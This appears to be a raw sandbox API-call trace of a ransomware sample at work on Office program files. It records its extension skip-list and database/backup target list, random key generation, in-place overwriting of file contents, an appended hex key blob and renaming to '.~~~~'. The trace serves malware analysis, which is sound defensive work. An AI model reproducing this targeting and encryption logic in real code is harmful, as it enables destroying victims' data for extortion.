	[0146.143] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.143] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.143] CloseHandle (hObject=0x104) returned 1
	[0146.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870430
	[0146.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.~~~~")) returned 1
	[0146.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870430 | out: hHeap=0x300000) returned 1
	[0146.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.146] GetLastError () returned 0x0
	[0146.146] RtlWakeConditionVariable () returned 0x0
	[0146.146] GetCurrentThreadId () returned 0x9cc
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0146.146] lstrlenW (lpString=".cmd") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0146.146] lstrlenW (lpString=".dll") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0146.146] lstrlenW (lpString=".bat") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0146.146] lstrlenW (lpString=".cpl") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0146.146] lstrlenW (lpString=".sys") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0146.146] lstrlenW (lpString=".msc") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0146.146] lstrlenW (lpString=".com") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0146.146] lstrlenW (lpString=".lnk") returned 4
	[0146.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0146.146] lstrlenW (lpString=".msp") returned 4
	[0146.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0146.147] lstrlenW (lpString=".pif") returned 4
	[0146.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0146.147] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.149] lstrlenW (lpString=".sqb") returned 4
	[0146.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0146.149] lstrlenW (lpString=".ost") returned 4
	[0146.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0146.149] lstrlenW (lpString=".txt") returned 4
	[0146.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0146.149] lstrlenW (lpString=".mdt") returned 4
	[0146.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0146.149] lstrlenW (lpString=".BDB") returned 4
	[0146.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0146.149] lstrlenW (lpString=".eql") returned 4
	[0146.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0146.149] lstrlenW (lpString=".DBF") returned 4
	[0146.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0146.174] lstrlenW (lpString=".EQL") returned 4
	[0146.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0146.175] lstrlenW (lpString=".FDB") returned 4
	[0146.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0146.175] lstrlenW (lpString=".EDB") returned 4
	[0146.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0146.175] lstrlenW (lpString=".DACPAC") returned 7
	[0146.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0146.175] lstrlenW (lpString=".VHD") returned 4
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0146.177] lstrlenW (lpString=".DBV") returned 4
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0146.177] lstrlenW (lpString=".dacpac") returned 7
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0146.177] lstrlenW (lpString=".sdf") returned 4
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0146.177] lstrlenW (lpString=".accdb") returned 6
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0146.177] lstrlenW (lpString=".DBX") returned 4
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0146.177] lstrlenW (lpString=".MDT") returned 4
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0146.177] lstrlenW (lpString=".SQB") returned 4
	[0146.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0146.178] lstrlenW (lpString=".vhd") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0146.178] lstrlenW (lpString=".bac") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0146.178] lstrlenW (lpString=".mdf") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0146.178] lstrlenW (lpString=".BAK") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0146.178] lstrlenW (lpString=".BAC") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0146.178] lstrlenW (lpString=".dbs") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0146.178] lstrlenW (lpString=".vhdx") returned 5
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0146.178] lstrlenW (lpString=".NDF") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0146.178] lstrlenW (lpString=".dat") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0146.178] lstrlenW (lpString=".DBS") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0146.178] lstrlenW (lpString=".CKP") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0146.178] lstrlenW (lpString=".edb") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0146.178] lstrlenW (lpString=".PST") returned 4
	[0146.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0146.178] lstrlenW (lpString=".dbf") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0146.179] lstrlenW (lpString=".SQL") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0146.179] lstrlenW (lpString=".pst") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0146.179] lstrlenW (lpString=".dbv") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0146.179] lstrlenW (lpString=".SDF") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0146.179] lstrlenW (lpString=".dtxs") returned 5
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0146.179] lstrlenW (lpString=".db3") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0146.179] lstrlenW (lpString=".OST") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0146.179] lstrlenW (lpString=".dbx") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0146.179] lstrlenW (lpString=".DB3") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0146.179] lstrlenW (lpString=".DAT") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0146.179] lstrlenW (lpString=".VHDX") returned 5
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0146.179] lstrlenW (lpString=".ndf") returned 4
	[0146.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0146.179] lstrlenW (lpString=".DB") returned 3
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0146.180] lstrlenW (lpString=".sql") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0146.180] lstrlenW (lpString=".MYD") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0146.180] lstrlenW (lpString=".DBT") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0146.180] lstrlenW (lpString=".ACCDB") returned 6
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0146.180] lstrlenW (lpString=".fdb") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0146.180] lstrlenW (lpString=".bak") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0146.180] lstrlenW (lpString=".myd") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0146.180] lstrlenW (lpString=".DTXS") returned 5
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0146.180] lstrlenW (lpString=".ckp") returned 4
	[0146.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0146.181] lstrlenW (lpString=".dbt") returned 4
	[0146.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0146.181] lstrlenW (lpString=".db") returned 3
	[0146.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0146.181] lstrlenW (lpString=".TXT") returned 4
	[0146.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0146.181] lstrlenW (lpString=".MDF") returned 4
	[0146.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0146.181] lstrlenW (lpString=".bdb") returned 4
	[0146.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0146.181] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.181] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0146.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.183] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.183] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26617300922) returned 1
	[0146.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc08a5010, dwHighDateTime=0x1d60e1e)) 
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2058
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2058 | out: hHeap=0x300000) returned 1
	[0146.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870728
	[0146.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.184] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.184] GetLastError () returned 0x0
	[0146.184] GetLastError () returned 0x0
	[0146.184] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.184] GetLastError () returned 0x0
	[0146.185] GetLastError () returned 0x0
	[0146.185] ReadFile (in: hFile=0x104, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.188] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.188] WriteFile (in: hFile=0x104, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0146.192] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.192] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.194] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.194] CloseHandle (hObject=0x104) returned 1
	[0146.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0146.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.~~~~")) returned 1
	[0146.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.197] GetLastError () returned 0x0
	[0146.198] RtlWakeConditionVariable () returned 0x0
	[0146.198] GetCurrentThreadId () returned 0x9cc
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll", lpSrch=".scr") returned 0x0
	[0146.198] lstrlenW (lpString=".cmd") returned 4
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll", lpSrch=".cmd") returned 0x0
	[0146.198] lstrlenW (lpString=".dll") returned 4
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll", lpSrch=".dll") returned=".dll"
	[0146.198] lstrlenW (lpString=".dll") returned 4
	[0146.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3961e0 | out: hHeap=0x300000) returned 1
	[0146.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3956b8 | out: hHeap=0x300000) returned 1
	[0146.198] RtlWakeConditionVariable () returned 0x365f70
	[0146.198] GetCurrentThreadId () returned 0x9cc
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".scr") returned 0x0
	[0146.198] lstrlenW (lpString=".cmd") returned 4
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".cmd") returned 0x0
	[0146.198] lstrlenW (lpString=".dll") returned 4
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dll") returned 0x0
	[0146.198] lstrlenW (lpString=".bat") returned 4
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".bat") returned 0x0
	[0146.198] lstrlenW (lpString=".cpl") returned 4
	[0146.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".cpl") returned 0x0
	[0146.198] lstrlenW (lpString=".sys") returned 4
	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".sys") returned 0x0
	[0146.199] lstrlenW (lpString=".msc") returned 4
	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".msc") returned 0x0
	[0146.199] lstrlenW (lpString=".com") returned 4
	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".com") returned 0x0
	[0146.199] lstrlenW (lpString=".lnk") returned 4
	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".lnk") returned 0x0
	[0146.199] lstrlenW (lpString=".msp") returned 4
	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".msp") returned 0x0
	[0146.199] lstrlenW (lpString=".pif") returned 4
	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".pif") returned 0x0
	[0146.199] lstrlenW (lpString="msp\r\n.pif") returned 9
